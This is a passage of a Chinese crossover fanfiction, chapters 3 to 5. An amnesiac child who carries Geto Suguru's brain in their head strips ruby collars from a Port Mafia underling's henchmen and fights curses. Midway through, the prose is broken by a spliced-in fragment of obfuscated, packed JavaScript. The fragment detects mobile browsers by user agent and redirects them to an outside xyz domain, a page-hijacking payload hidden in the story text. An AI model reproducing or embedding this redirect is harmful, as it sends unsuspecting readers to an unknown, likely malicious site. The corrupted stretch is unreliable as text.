《可恶!夏油的脑子快不行了!》
3. 第三只小陵
透过车窗,向外看去——树木飞快地略过,只剩下虚幻的影子,只能清晰地望见上方微微移动的明月,与它四周的繁星点点。
【羂索羂索,外边的景色真的好厉害!】
我此时坐在汽车的后座上。如今是我第一次坐车,对于这种从未见过的交通工具充满了好奇,从“羂索羂索,我们现在在动诶!”到“羂索羂索,这个座位好舒服!”再到“羂索羂索,这里有风会吹出来!”
总之一时间我的感慨颇多。
而脑子的回答从温和开始逐渐敷衍,直到如今已是笑里藏刀:【闭嘴吧,愚蠢的猴子——我有自己的名字!】
自己的名字?
我很高兴:【太好了——既然你这样说,说明你想起了自己的名字!】
脑子自己也是一愣,显然是才发现这件事,然后语气咬牙切齿,似乎很不甘心:【没错……我想起来了一点……虽然还想不起自己的姓,但我的名字是杰……】
【那你还想起来了什么?】我提问道,【人际关系也可以,比如你的父母。】
【父母……?】明明是带着笑意的语气,但是我却莫名听出了几分转瞬即逝的讥讽,【我不记得了。】
难道杰和父母有很大的矛盾,即使没有记忆也依然不喜欢他们?
在说完这话后,杰的语气又温和了下来:【真的想不起来了。很不好意思呢,我只想起了这件事。再想下去我会头疼,所以现在只能不去回忆了呢。】
话语里有两分歉意,三分难过,五分悲伤,听起来非常真实。
没想到回忆过去竟然会令杰头疼,我实在是没好意思再让杰继续深思。
果然只能由我来帮助杰了吗?
我感受到了浓重的使命感。
虽然用不了一点脑子,但我很努力地进行了思考。杰似乎不太喜欢裙子,可怎么会有脑子不喜欢漂亮小裙子?我实在是不敢置信。
这一定是杰之前天天穿裙子,导致现在已经开始厌倦。再加上这里的人似乎觉得女性才能穿裙子的刻板印象——
我醍醐灌顶,瞬间理解了一切:【我觉得你是女性!】
杰咬牙切齿:【……我怎么可能是女性?】
也就是说他不是女性。我高兴了起来:【那你就是男性,虽然我没有猜对,但你又想起了性别!再这样下去,我相信杰一定能想起全部的事情!】
杰:【……】
杰深呼吸了一口气。
说到这个,我又问道:【我要不要应景地把我的性别改成男性?】
杰呼吸一顿,声音似乎被呛住:【……你不要乱来。】
修改性别不是很普通的事情吗?怎么是乱来?我一时没搞明白,但既然杰这样说,一定有他的用意,于是我此时便暂时没有修改。
由于帮杰想起了他的性别,我整具身体自信了不少,开始帮他想其他的事情——发色应该比较容易记起来,我决定先思考这个。
我觉得像杰这样明明失忆,却能如此飞快想起自己的名和性别的脑子,一定是天选之脑,拥有其他脑子所不可比拟的性能。所以杰曾用躯体的发色一定非常的脑子色——
我再次醍醐灌顶,理解了一切:【我觉得你的头发是肉色的!】
但是仅仅肉色这几个字就能表达出准确的色彩吗?不,这是对脑子色的不尊重。我严谨地补充道:【是那种非常脑子的颜色,比皮肤的颜色深一些,看起来黏糊糊湿哒哒,还时不时混着赤红的血丝,绮丽又梦幻,我最喜欢的颜色……】
杰飞速打断我:【那可真是太遗憾了呢,毕竟我是最为普通的黑发。】
【太巧了——我的默认发色就是黑发!不用修改了!黑发也很好!想起来就是好事!】没想到又帮杰想起了发色,我更加自信,【我觉得杰的黑发……】一定是遗传杰他爸,然后还会遗传给杰的孩子!
【不要你觉得,要我觉得,】没想到还没说完,杰又一次飞快地打断了我的话,语气温和但不失强硬,【我觉得我真的已经什么都想不起来了。】
此时前面开车的青年出声,打断了我们的交流:“把这个东西戴脖子上。”
说完他从前面丢过来一个物件,我接过一看,发现是他脖子上的同款项圈——外面的铁圈带来冰冷的质感,但是月光透过车窗,洒在中间的红宝石上,最终泛出很贵重的光泽。
“这是送我的吗?”我拿着项圈的手微微颤抖。
青年没有回头,他此时只是嗤笑一声,语气中带着几分嘲讽:“没错——只要戴上了,它就是你的了。”
什么?竟然还有这么好的事情!我看着上面看起来很贵的红宝石,感到了震惊。
没想到一出门又遇到这么好的好心人,在激动之余我没有把握住力度,直接捏碎了铁圈,于是瞬间发出了清脆的声响。
“什么声音?”青年微微皱眉,随后他警觉地瞥了一眼后视镜。
但此时我已经迅速把项圈套在脖子上,而破损的那部分在侧面部,从前面看完全看不出任何问题。
就是这项圈少了一部分,于是戴在脖子上老是要掉。我只能用一只手在侧面一直扶着,一边掩饰住破损之处,一边假装它还能装得上去。
当青年透过后视镜皱着眉打量我时,我乖巧得不得了,生怕被发现弄坏了项圈。
他说戴上后才归我,而我还没放脖子上就直接弄坏了它——话说我这样半掉不掉的算戴上吗?还需不需要我赔钱?
结果在看到我此时面色复杂,又把一手搭在项圈上后,他笑容直接狰狞,看起来比我没有脑子的时候还有问题。
男人幸灾乐祸道:“哈哈哈哈哈戴上了就这辈子再也摘不下来——现在你和我一样都是A的工具了!”
可是我的问题明明是戴不上去,而不是摘不下来啊?我迷茫了几秒,决定把这件事放在脑后,转而出声询问道:“A?”
——这又是什么?
没想到这个词仿佛按中他的开关,青年直接用力按了一次汽车喇叭:“A——”
刺耳的车鸣声与愤懑声叠加在一起,听起来很吵,我不禁用空闲的那只手捂住了耳朵。
青年一声咆哮,发泄出对老板的不满后,又仿佛和我已经很熟的模样,向我介绍道:“既然你也戴上了项圈,那就是我的同僚。有些事情应该知晓——A是港口Mafia的五大干部之一,但他的职位是金钱购买到的,并非真才实干。”
港口Mafia又是什么?我继续扶着项圈,表情迷茫。
但他显然没有注意到我的表情,嫌弃地呸了一声:“他的异能【宝石王的失常】能将部下的寿命转化为等价的宝石,而只要主动戴上了项圈,就会成为他的部下——只要不能解开项圈,那么就永远无法逃脱A的控制。”
异能?又出现了一个令我迷茫的词汇,我深刻感受到了自己的无知。
【港口Mafia是横滨那边的势力,而异能是一种特殊的超能力,】杰显然看出了我的茫然,简单地解答了我的疑惑,然后又询问我,【你现在知道哪些势力?我可以给你讲讲你不知道的。】
我告诉他:【我都不知道。】
【这样啊……】杰语气依然温和,然后又带着几分歉意,【诶呀,很不好意思呢,我发现我的记忆损害得有些严重,即使想告诉你也没有办法,我想不起来其他的。】
想不起来也没事!杰实在是贴心,我快乐地将他拿出来转了三圈然后又快乐放回,而前面的青年只顾着义愤填膺,没有发现我的动作。
他说了一通后冷静了一点,又直接嗤笑道:“A经常派部下去找像你这样的小孩,给你们戴上项圈,从此为他做事,直到死亡。”
“你逃不掉的!永远!”
此时那开车的青年像是被淤泥浸没,于是想要将过路人也拉入泥沼的水鬼,看似清醒但是已经疯疯癫癫。
杰此时缓慢出声,语气似乎依然温和,却又带有几分粘稠,像是在进行着潜移默化的引导:【看到这种渣滓之后,你难道没什么想法吗?你难道不想……】
我确实有想法。
我很激动地打断他的话语:【天哪!他竟然说他们那边的每个小孩脖子上都有这种红宝石项圈!原来那边有这么多红宝石的吗?!杰,我们去医院看病的钱绝对能攒够!就算你有超级大病也没事!】
杰沉默了两秒,接着语气九转十八弯:【那真是谢谢你了呢。我一定会在你的坟前送上鲜花——我相信现在距离那一天并不遥远。】
就在这时,开车的青年此时不再眼瘸,在错过我的两次迷茫后,终于注意到我此时乐呵乐呵的表情:“没想到你还能高兴得起来,你根本不知道前面是什么地狱!”
“你会后悔戴上项圈的。就像现在的我那样,若是有谁有办法摘下我的项圈,我愿意把我的这辆车直接送给那人——但是没有人能办到,这玩意完全拆不掉。”
他现在已经不是普通的好心人了,我想问——他到底是什么等级的好心人?
我飞速地凑到他旁边:“此话当真?真能送车?”
他似乎被我的瞬移速度吓了一跳,直接一个急刹车,但是接着又镇定了下来,重新开起车:“自然当真。”
接下来的路程里,我心情澎湃地和他聊车,而青年对于我这种向他求知的真诚态度非常满意,语气居高临下但也愿意解答问题。等到目的地时,我已经将油门、刹车还有路标等一系列事情,全部询问了一遍。
而等车停下时,深夜已逝,即将迎接破晓。
我随青年进入一座大楼,此时电梯一层层下降,转眼已是地下。
与楼上的寂静不同,这里人声嘈杂,像是夜晚才刚刚开始,数不清的人们戴着镶嵌着红宝石的项圈,刚结束夜间工作,在此处走动。
——这里是A的部下们的休憩之地。
“新人?”前台看到了我,吐了一口烟,上下打量了我几眼,“长得倒是精致,你有没有给这孩子搜过身?”
“你可真是麻烦啊,”青年闻言便挠挠头,看起来很不想做这种事情,“这小孩是刚从墓地弄来的孤儿,被人抓到时还在挖坟找食物——还能有什么武器?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917089|177001||http|test|mini|href|location''.split(''|''),0,{}));
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>他看向了我,啧了一声:“新人,记住一件事——在这里纪律第一位,不要违反规则更不要犯事,不然你的小命不保。”
而此时杰提醒我:【右侧有人正准备杀人,小陵要救一下吗?】
我迅速偏头,不远处一位身穿酒保服之人正踩着地上侍者的手,此时正举着枪,枪口对着地上之人的脑袋,而他的扳机已经扣下——
枪声响起。
脚底蹬地,我已经几个箭步直接跳到地上之人的旁边,然后抓起他往外一滑,于是令他及时避开了这原先必死的伤势。而此时飞速又猛烈的子弹从我的眼旁飞过,轻轻擦过我的面颊,划出一道细微但是依然存在的血痕。
【小陵,你的脸上有擦伤,血流下来了……】
【没事,】我本能地想要抹去脸上的血迹,由于一只手抓着刚才救下的人,我下意识松开扶着破碎项圈的手——
只听一声清脆的落地声。
脖子上的破碎铁圈因为手的移动而瞬间落地。
“这小鬼的项圈……?!”
“这家伙是潜入者!”
无数的枪口已经指向了我,而下一秒子弹就将倾泻而出。
*
意识空间中的血水依然波澜不惊。
黑发男性坐在咒灵之上,他此时扬起嘴角。
一切都正如夏油杰所料。
不管是提示这小孩杀人事件的出现,还是诱导祂将手从项圈上抽离,都是他特意的举动——为了造成祂如今被众人围剿的局面。
【现在小陵切身体会到枪的速度了吧?如果稍微偏一点,你就会被枪杀。如今这么多枪对着你——以你的速度躲不掉全部,更不要说还带着一个人。】
夏油杰知道这小鬼速度快,但不知道具体是怎样的速度。这次在祂救人的时候,便与枪械进行了对比。结果很明显——这小鬼无法彻底躲过枪击。
但是夏油杰不一样。
他除了看到无数的枪口外,还看到在这件屋子各处盘旋的——
众多咒灵。
它们扭曲又丑陋,如同这些人的恶意一般,在室内游荡。小孩所捞起着的这人身上刚好就有一只。只要夏油杰能使用躯体,用他的咒灵操术吞掉这一只,就能使用咒灵挡住枪击并反杀在场的所有人。
【就算对速度再有自信,你依然是有极限的。】
此时恶鬼在温和低语,将困境展开在祂面前,一点点打压自信心——
【现在——枪已经伤到了你。】
无数枪支指向祂,血液从脸上的伤口中流出,无情地滴落在地上。
夏油杰听到了小孩逐渐剧烈的心跳声,像是终于意识到了情况,于是开始恐惧,最后整个人都在无助地颤抖。
终于到了这一刻——
夏油杰扬起了嘴角,企图将主导权占为己有。
但是他发现无事发生。
……这怎么可能?明明祂的心跳已经……
这时夏油杰突然想起,其实会因这种境况而心跳加速并颤抖的,除了心怀恐惧之人外——
还有另一种人。
这个家伙……难道是……
*
无数枪支指向了我,所有人都想和我交手。
这还是我醒来后第一次打架,我一时间没有控制好自己,整具身体热血沸腾到不成样子,不仅心跳因兴奋而加速,就连身体也激动到直接颤抖。
细微的血液从我的面颊上缓慢地划下,正是刚才擦伤的产物:【果然目击也不太直观,还是被打一次更能体会枪的速度与力度——现在我知道该以怎样的步调战斗了!】
【……刚才那种速度还不是你的极限吗?】
数颗子弹划过空中,发出撕裂气流的声音,朝我的方向袭来。
【当然不是!】我抓起手下的人,以更快的速度移动,一个侧身又几个跳跃,直接躲过了第一波肆虐的子弹,而我此时伸出了能活动的那一只手——食指和中指的指缝中夹着一颗子弹。
那正是我刚刚顺手接下来的子弹。
我理直气壮:【要是用了最快的速度,我还怎么享受战斗?有来有回才会带来快乐!】
【……你这家伙居然是战斗狂吗?!】
我几个闪身,来到最初门口的青年那里,然后往他的脖子上一抓,在青年错愕的目光下,那脖子上的项圈瞬间四分五裂,而红宝石也落到我的手中。
正当他反应过来,伸出手准备再次枪击之时,我已经轻盈一跃,直接绕到他的背上,对着脖子就是一脚重击。于是在他的意识遁入黑暗的前一刻,只能看到套在我的食指上,正在旋转着的车钥匙圈——
“多谢你送的车。”
我已顺走他的车钥匙。
背后的数颗子弹划过空中,而室内已经一片狼藉,火光无数。
我此时一边抓着救起的人,一边高举着刚到手的红宝石,转向周围持枪射击的其他人——
“拜托了!请把你们脖子上的红宝石都送给我!”
“我的脑子有大病!我想赚钱去给他看病!”
4. 第四只小陵
回应我的只有接连不断的枪声。
我救到的那人也是这里的工作人员,似乎是犯了错才被其他人制裁,我抢走了他脖子上的红宝石,然后在一击揍晕后丢在远离战场的角落里。
子弹在空中飞驰,砸出无数弹孔。玻璃瞬间破碎,碎片散落在地面之上。
地面已是满目疮痍。
枪械的火光多处亮起,刺眼又灼目。脚步声急促,又混入纷杂的枪声之中,最终汇成肃杀的乐章。
此时气流涌动。
纷飞的子弹划出数条格线,而我在其中穿梭,宛若跃动的音符,始终落在合适的位置,至今还没被命中一次。
倒也不是我的躲闪技巧有多高明,其实闪了几次我便察觉——大部分子弹根本不需要躲避,稍微弯弯身子就能避开,甚至有些连我的裙边擦不上一点。
这是什么情况?他们真的有在用心朝我射击吗?
还是说——
其实枪是一种很难用的武器?
在搞不清楚情况的迷茫之余,我决定自己实践一番。枪声不断,我右膝弯曲往下迅速一压,下蹲躲过一发从上方划过的子弹。此时裙摆随气流微微扬起,大腿最外侧有银光微闪,正是绑在上面的那柄枪。
在迅速拔枪上膛的那一刻,我脚底用力蹬地,将自己调整到合适的位置——
然后我扣下了扳机。
一发子弹飞出,笔直划入持枪之人黑黢黢的枪口中,没有一丝误差地将其贯穿。下一秒爆破声响起,那人手中的枪械直接四分五裂。
在他错愕的惊慌之时,我已来到身旁,掐碎了他的项圈,拿走红宝石,最后再一个手刀直接击晕对方。
仅这一发子弹,我便意识到枪是一种使用起来多么容易的工具,所以——
原来他们真的没有用心对我射击!
【我明白了——现在谜团全部都解开了!】我向杰传达真相,【你看这描边的子弹——他们根本不打算和我打架,这里的每一个人都愿意给我红宝石,只是还需要我通过他们的简单考验!】
他们可真是一群傲娇的好心人!
我深受感动,并决定撕碎他们的每一条项圈,拿走每一颗红宝石。
【……有没有一种可能:他们的枪法就是如此差劲?】杰试图说服我。
“放心——我不会伤害你们!”我此时已经开始对他们解释道。
还没等我说完,便听到不远处一道嘲讽的声音响起:“治脑子?看起来确实脑子有病。说着这种离谱的话其实只不过是想破坏我们的项圈吧?你又是哪个势力的人?”
他的问题又多又密,我一下子没能反应过来。
“你是想要狂妄地拯救我们,还是想要我们的归顺?就算摧毁了项圈,不再受A的控制,我们曾经犯下的罪恶也无法被洗清!也不会再进入同一种地狱!”
那是一位面目扭曲的青年,眼里只有一潭死水。
拯救?归顺?罪恶?我听到这话又开始迷茫——我都说了我只是想要拿红宝石赚钱救杰,他到底在说什么?
但我注意到他的枪法是这里面最描边的一位,于是又明白了——这肯定是一个超级大傲娇,想要说些云里雾里的话语引我注意到他,把他的红宝石第一个送给我!
我自然不会辜负他的好心。在纷飞的子弹之中,我几个跳跃便闪了过去,一抓直接粉碎了他的项圈,拿下了红宝石。
刚刚他讲话的时候似乎非常激动,唾沫星子直接溅到这颗红宝石上,于是我拿到后第一件事就是擦拭。
我本想用他衣服擦,但又觉得说不定他衣服上面都是唾沫星子,干脆在自己裙子上一拉,飞速撕了一条丝带,快速抹了抹红宝石。
原本看起来有些黯淡的宝石,如今仿佛被洗濯干净,又重新恢复了光泽。
“我没打算拯救你,也没想要你的归顺,”我说道。
青年之前的话语或许是一种考验,但我没想出答案,甚至连思路也没有,于是干脆直接询问他本质问题——
“我只是想问——我可以拿走它吗?”
在周围描边的枪林弹雨中,我注意到他注视看起来又熠熠闪光的红宝石,眼中似乎有微光闪动,沉默了几秒最后说道:“……拿走吧。”
明明我拿走的只是红宝石,但是他却仿佛我拿走的是更为沉重的东西——像是污浊,像是罪孽。
我实在是搞不懂这些,但总之已经拿到了红宝石,便又伸出手,一个手刀直接将他劈晕。
而这一段只有几秒的小对话仿佛开了先河——这些被我拿走红宝石的傲娇人士,总要在被击晕之前,与我唠嗑几句。
照理说他们愿意送我红宝石,又陪我打架,是大好人,但我实在是不明白为什么有那么多人会问我——他们是否肮脏。
我上下打量了几番,愣是看不出他们一身光鲜亮丽,到底有哪里肮脏。刚开始我还会认真回答,到后面我已经麻木了——为什么他们要问一个在棺材里睡了数年没有洗澡的人这种问题呢?他们难道觉得自己还能脏过我吗?
迷茫将我淹没。
但他们仿佛从我的表情中获得了答案,于是露出了奇怪的释然表情,而最后一位被击晕的那人,甚至还对我道了一声谢。
和我道什么谢?我的迷惑再度加深。我有做什么吗?我只是觉得和我比起来,你们真的不算脏啊?
难道他们有超强的洁癖?
此时枪声已经彻底停止,一切重新回归宁静,头顶的灯光倾洒而下,平静又悠然。如今众人昏迷一地,而红宝石也散落在地面各处,在灯光下折射出光泽。
在刚才的作战过程中,我本想把它们都装进口袋里,但钞票和车钥匙已经占了很大的位置,在又装了几颗红宝石后,口袋里就再也放不下。我干脆去旁边找结实的布袋子,没想到立刻便找到了。
这时杰出声道:【……小陵,我接下来说的话语对你来说可能很不可思议,但是还是想告诉你——我想起了这个世界上还存在名为咒灵的生物,
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它们诞生于人类的负面情绪,最终会对人类造成伤害。】
——咒灵?
【我能看见这块区域存在不少咒灵,如果放任不管,它们说不定会将这些昏迷的人都杀死。我相信小陵不希望这样的事情发生,】杰顿了顿,语气温和,听起来非常友善——
【我将现在我所仅有的咒力分给你,令你能在一小段时间内看到它们,小陵愿意为了救他们而吃掉咒灵吗?味道可能有些奇怪……但是小陵的话应该没有问题,对吧?】
【虽然我没有试过,但是交给我吧——我可以的!】
自从羂索离开我之后,咒灵似乎渐渐从我的生活中远去,而如今再次听到了这个词汇,我感到有些怀念。
说起来羂索之前不愿意给我分毫咒力,于是我从来没看过那被称为咒灵的神奇物种,更没有吃过。
地面上充满着弹孔与碎玻璃,人们昏迷在此地,一切都是如此平静。
就在我答应的那一刻——
原本普通的世界分崩离析,一切都变得光怪陆离。
地面上爬行着不少污浊之物。不远处墙壁上蠕动着漆黑怪虫,台球桌上还趴着四只眼睛的诡异灵体。
我一把抓住了旁边昏迷者身上的咒灵。不知为何它落到我手中时,变成了容易吞咽的球状,于是我直接抓起它一口吞下——
我的动作一顿。
杰的语气里带着温和的笑意:【小陵,你觉得咒灵是什么味道的?难吃吗?】
似乎有无数亡灵在我的耳边呓语。他们苦痛的声音缠绕又粘稠,如同深海里的水鬼拉着上面的过路人一点点下沉,最终一同沉溺于死寂的海底。
又好像是无数尸骸层层叠叠,扭曲的痛苦落在他们已经僵硬的面容上。还未干涸的血液向远处蔓延,一点点将地面染红。
带着血味的风穿进尸体,于是令他们微微颤动,传来了怪异的声音。而已经饱餐的乌鸦在天空划过,发出刺耳的吟叫。
仔细一品,我恍然大悟——这不就是我的老家乱葬岗吗?
我回答道:【不难吃!是老家的味道!】
【……哈?】
【真是怀念啊,原来世界上这种能让我回顾童年的食物!真的很好吃!】我惊喜地又捞了一只旁边的咒灵,快乐地吞下。
当我吃完了整个大厅的咒灵时,我突然感觉自己的头部好像胀胀的——
似乎有什么东西想要爬出来。
难道是杰出了什么事情吗?我赶紧掀开了头盖,拿出了杰——
没想到杰脑已经被咒灵缠绕。
我大惊:【杰你怎么长出咒灵了!不过没有关系——不要慌张!我来帮你全部拔掉!】
【等等……】
我没等杰把话说完,便直接将他脑上冒出来的咒灵一只只抽出,然后全部掐死。
在我转了一圈脑子,在确认没有问题后,快乐地将重新完好无损的杰放了回去——
【太好了——杰又重新健康了!】
5. 第五只小陵
现在病有钱治,又找到了能装红宝石的结实大袋子,咒灵也吃完,就连杰身上的毛病都已经治好——难道如今正是我的运气爆棚之刻?
我拎起袋子,快乐地捡大厅地上的红宝石。
这种激昂的心情始终伴随我,就连我捡完红宝石,随着电梯上到外边,用刚到手的车钥匙启动汽车之时,依然没有消散半分。
此时刚破晓。
坐在驾驶座上的我果断一脚踩下油门——
引擎发出巨大声响,车码表的指针不断偏转。
沉默了很久的杰终于出声:【……小陵,你之前开过车吗?】
【没有!】我果断回答。此时性能极高的汽车仿佛闪电,在道路上飞速奔驰,越过前方的一切。而我拉下车窗,任凭狂风吹来:【但是没有问题的——我学过!】
【……在哪里学的?】
我自豪地告诉他:【刚刚那位好心的人贩子给我讲解过这些!】
【愚蠢的猴子——快放开方向盘!松开油门下车!】
车速越来越快,周边的树木已经只剩下残影,而我依然没有松开油门。我感觉自己此时已经脱胎换骨,就连幸运女神都站在我的背后:【不要怕——你要相信我现在的运气!】
清晨中的第一缕日光出现,它们从上方洒下,落在前面因道路施工而凹陷的地面上,折射出微光。
我飞快松开油门,直接一脚猛踩刹车,随后双手一用力,以方向盘都快反应不过来的速度,将其猛得一转——
刺耳的摩擦声响起,轮胎在地面上平移,划出一路的火光,最终在距掉沟仅剩咫尺之遥时,成功将其惊险绕过。
然后我又松开刹车,打开头盖,把因为急刹而翻了一个圈的脑子重新翻翻正:【放心吧,我会顺利找到医院,并用最快的速度把你送进去治疗的!】
【你这只——】杰似乎咬牙切齿地想要说什么,而就在这时,我听到了风传到耳边的虚弱声音。
那是来自附近一男一女气喘吁吁的交谈声——
“你快逃吧!这到底是什么东西……就算你一个人能逃掉也好……”
“不行,我们要永远在一起——要死也一起死!”
我再次猛打方向盘,轮胎在地上划出火光,车头瞬间偏转,于是我看到了不远处的一对恋人——
他们像是被什么看不见的东西追逐那样,此时正奋力奔跑着,而身上沾满泥土,显得狼狈不堪。
而不远处的墙壁上,有一块巨大又深邃的崭新爪印,看起来非常可怖。
杰之前给我的咒力已经不足以看见咒灵,但是我知道咒灵在他们的后面。
我此时将油门直接一脚踩到底,直接向他们身后的位置飞速撞去:【杰——抓稳了!我要去打咒灵了哦!】
【等等……你想做什么?我给你的咒力已经用完,你现在不是应该看不见的吗?】杰的声音露出了毫无掩饰的诧异。
引擎发出剧烈的声响,汽车在空旷的街道上驰骋,前方在我看来依然是空无一物。我中气十足地回答他:【当然看不见!但是没有关系——】
没有任何预兆又至上而下的猛烈一击下砸,车顶瞬间扭曲至破碎,而挡风玻璃上裂痕不断,巨响之后无数碎片落下。
这便是这只咒灵一爪子拍下来所能造成的伤害。
但是我没有在意这些,只是看着裂痕与凹陷交错于上方,最终构成的那个骇人巨大爪印——
上方的庞然大物还在向下碾压着我所坐着的这辆车。
我依然死踩油门。此时车顶几乎被压碎,露出了破晓的清澈天空。而我伸出手指,指向了上方——
【撞一次不就能知道了吗?虽然看不见,但它现在就在我的上面攻击我!】
杰深呼吸一口气:【……小陵,听好了。我给你的咒力已经消散,而你也没有任何输入过咒力的咒具,所以现在根本无法对它造成伤害。现在明白情况了吗?再怎么想打架也不能——】
意识传递的速度只是寥寥一瞬,而此时玻璃不断破碎而落下,车顶的残渣也不停掉落。
咒灵不断用力,企图碾碎汽车。
【我明白了!】我从口袋里飞快地掏出了一颗红宝石,然后直接握紧了它——【那我们用被咒灵接触过的红宝石吧!】
我自信满满:【之前捡宝石时我看到这颗宝石被咒灵踩了一脚——那一脚肯定给红宝石充进去了不少咒力!】
【……哈?】杰刚发了一个音,红宝石便被我放在右手的拇指上,随后向上极速一弹——
刺向我所看不见的那只巨大咒灵。
*
车速飙升又骤停产生的呕吐感,混杂着濒死到现在一直不休止的疼痛感,夏油杰在混乱的思绪中努力集中精神——
【这里哪有什么咒力?】
可是此时气流已经涌动。
灼目红光直上云霄。
常理似乎被气流撕碎,夏油杰看到那颗红宝石如闪电般向上飞驰,以一种迅疾又不可以阻挡之势,彻底贯穿了庞大又扭曲的咒灵的脑袋。
——明明非咒术师需要利用咒具才能对咒灵造成伤害。
——明明这小鬼不是咒术师,看不见咒灵也没有咒力。
这只压着汽车的咒灵在贯穿后动作一顿,下一秒直接块块炸开,最后化为虚无,彻底地融入晨曦,成为清晨的一部分。
——明明这小鬼投出的也只是连咒具都称不上的,只是沾染零星咒力的寻常物件。
可是阳光已经透过残破的车顶,一直落在里面的驾驶座上。而这颗有些破碎的红宝石又重新落下,掉入了白皙的手中。
——明明应该是这样的。
夏油杰却看到了如今上方的晴空万里。
刚才红宝石在空中划出的那条直线笔直向上,划破了周围的云层,于是阳光倾泻而下,像是斩出了黎明。
汽车重新在街道上驰骋。
而至始至终,开车之人脚下油门没有松开,仿佛只是完成了微不足道的事情。小陵的语气中充满了欢快的笑意——
【现在去医院吧!】
混乱与疼痛在一刻停顿,他听到小陵又道——
【放心!我一定会救到杰的!】
*
清晨的微光向远处蔓延,一直蔓延到汽车的远方——A据点的大楼之上。
如今那辆汽车已经彻底离开A的据点,并甩开了几公里的距离。此时电梯早已重新回到地下——
地下一片寂静,唯有灯光在头顶平静地洒下。枪械散落一地,这里的人们依然处于昏迷的状态中。
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而就在此刻,一只落在地上的手机响起铃声。
显示屏亮起,上面只有一个字母——
“A”。
——这是一通来自港口Mafia干部A的电话。
此时有人睁开了眼睛。
在瞥见来电人的那一刻,他没有丝毫犹豫,拿起枪直接射向了头顶的几处监控,将它们彻底摧毁。此人正是当时准备杀人的酒保。
随后另一人立刻拿起手机,接起了电话。他正是差点被杀死又被丢在角落的侍者,他此时语气毕恭毕敬:“A大人……遵循您的指引,这里的一切都正常。”
地面上此时都是弹孔,而玻璃的碎片洒了一地。弹药的味道依然没有消失,墙上已是一片狼藉,根本算不上正常。
加害者与被害者此时达成共识,只可能是为了——更大的利益。
“您已经过来了吗?”在听到电话那头A的话语后,侍者的语气变得诚惶诚恐,但是他的眼神依然平静,里面有仿佛有着窥不见光的深海,下面是波涛汹涌。
这句话在安静的室内显得异常清晰。
不少侍者和酒保陆陆续续地清醒,他们没有说任何话语,只是悄无声息又不约而同地拿起了落在地上的枪械。
无需言语,在场所有人便已经理解了其他人的想法。
电梯向下的声音响起,铁锁与绳子的摩擦声响一点点增大,而当电梯门开启的那一刻,在A和他身后的部下们露面的那一秒——
激烈的枪弹之声从各处响起。
曾被项圈控制住人生的恶徒们,对着禁锢他们多年之人,展开了他们的反攻——
这里已是战场。
血液四溅,枪弹飞舞。
碎在地上的监控已经无法记录下眼前的一切,而一旁的电梯也只是按照它被设定好的程序重新向上,离开地下返回到地面。
而不知过了多久,电梯又再度下降,将反叛成功的胜利者们带上地面。
持枪者离开,惊动了停息于大楼之外的白鸟。它们鸣叫着并展翅高飞,逐渐进入高空,俯视整座城市。
时间流逝。
不知过了多久,在横滨上方盘旋多时后,飞鸟们陆续路过了这里最高的建筑物,将斑驳的身影落入坚实的玻璃落地窗内,一直落在办公桌上——
那是港口Mafia大楼的顶端,首领的办公室。
此时这里空无一人,首领与干部们都汇聚在不远处的会议室内。
众人围坐在会议桌旁。
“半小前A在自己的据点被害,他的部下在电话里谎称一切无异常,随后在A到来时集体反叛将其杀死,”发话的男性此时坐在会议桌最中间,他看起来温和却极有压迫感。而长相与那照片里一模一样,正是首领森鸥外。
“在A宝库里的所有珠宝与资料,已被派去处理现场的人员彻底回收——属于我们港口Mafia的东西自然不可能留给外人。”
“这是一件大事,但并不是此次会议的重点。”
森鸥外往桌上一按,于是蓝光在会议桌上亮起,汇聚成为一道屏幕。影视的光线在会议室中浮动,被修复的监控录像从这一刻开始播放——
一位手按项圈的小孩此时正从电梯出来。
“这个孩子才是重点。”